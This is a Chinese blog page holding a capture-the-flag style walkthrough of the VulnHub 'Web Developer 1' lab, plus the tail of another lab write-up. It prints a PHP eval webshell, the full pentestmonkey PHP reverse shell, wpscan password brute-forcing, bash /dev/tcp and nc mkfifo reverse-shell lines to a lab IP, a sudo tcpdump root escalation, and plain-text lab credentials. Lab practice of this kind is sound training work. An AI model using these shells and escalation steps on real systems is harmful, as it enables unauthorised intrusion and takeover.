saket@ubuntu:/var/www/html/seeddms51x/seeddms-5.1.22$ sudo -l sudo -l [sudo] password for saket: Saket@#$1337 Matching Defaults entries for saket on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User saket may run the following commands on ubuntu: (ALL : ALL) ALL saket@ubuntu:/var/www/html/seeddms51x/seeddms-5.1.22$ sudo -i sudo -i root@ubuntu:~# whoami whoami root至此提权成功。往期推荐往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】Linux隐身登录
2025年05月18日
1,095 阅读
0 评论
0 点赞
2025-05-18
WEBDEVELOPER,tcpdump提权
【oscp】WEBDEVELOPER,tcpdump提权本次靶机为web-developer靶机下载地址:https://www.vulnhub.com/entry/web-developer-1,288/常规操作,主机发现,80快速探测全端口syn扫描,从扫描结果来看,本次靶机考验的是利用80网页的信息尝试登录sshdirb目录扫描,看目录结构是一个wordpress的网页应用程序可能存在的用户wordpress版本信息,4.9.8利用msf的top100的密码字典,进行爆破(失败)wpscan --url http://192.168.111.201/ -e u -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt那么就利用版本漏洞,但是这些都是插件类的,无法绕过密码继续信息收集,刚刚目录扫描出来的结果流量分析wordpress登录的时候基本都是post数据包,我们分析post请求的数据包就行了,得到用户和密码,Form item: "log" = webdeveloper / Te5eQg&4sBS!Yr$)wf%(DcAd登录成功版本确实是4.9.8,这时候就可以看刚刚的漏洞检索的结果了(没找到任何信息)尝试修改默认主题 Twenty Seventeen 的404.php,简单理解英文就是不允许修改(因为此主题已经激活了,需要取消激活)点击右上角的切换主题,修改另一个的404.php,是可以修改成功的 <?php @eval($_POST[cmd]);?>切换到主题页面,进行激活一句话木马不行那么就尝试php的反弹shell,源码如下(kali的/usr/share/webshells/php目录下)<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.111.128'; // CHANGE THIS $port = 6666; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resouRCE($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?>修改404源码后访问任意不存在的文章,即可反弹。例如http://192.168.111.201/index.php/2018/10/30/1111-111112213/这个机器上没有python2,只有3,创建一个交互式shellpython3 -c "import pty; pty.spawn('/bin/bash');"系统信息收集隐藏文件查看,和suid文件的信息收集结果有mysql的进程信息,那么尝试获取mysql的密码ps -aux | grep mysql # 查看进程信息我们切换到网站根目录,查看wordpress的数据库配置文件wp-config.php得到账号密码username : webdeveloper password : MasterOfTheUniversemysql用户表如下,并没有任何的利用信息尝试ssh连接,连接成功sudo -ltcpdump 提权 ,提权失败,TF表示临时文件的意思,需要你手动设置一个可执行的文件COMMAND='/bin/bash' TF="/tmp/shell" # 一个临时的二进制文件 echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root这里要注意一下,捕获流量包的时候,状态是一直停留在这个界面的,抓包超时可以尝试切换一下网卡查看网卡信息命令如下,切换一个网卡eth0,为了查看回显,把命令改为idCOMMAND='id' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root # 这里重新指定了一个网卡为eth0可以看到id输出得结果为root,尝试获取shell把命令修改为 /bin/bashCOMMAND='/bin/bash' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 失败了能够执行命令,但是普通的终端行不通,那么就反弹shellCOMMAND='/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root nc也没有-e选项那么试试如下命令COMMAND='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 反弹成功但是无法执行命令都不行的话,那么还记得我们之前修改的那个404.php,反弹shell的文件嘛COMMAND='php /var/www/html/wp-content/themes/twentyfifteen/404.php' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 提权成功!这个靶场主要是泄露了大鲨鱼的流量包,造成密码信息泄露,然后通过修改主题文件的php文件,反弹shell,然后通过正在运行的mysql服务,查看站点的mysql密码,进一步猜测ssh密码就是mysql的密码,最后通过sudo+tcpdump进行提权。往期推荐【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结Linux中Find命令也能提权?提权方式一文通透【渗透测试】Linux隐身登录
2025年05月18日
1,022 阅读
0 评论
0 点赞
1
2
3
4
5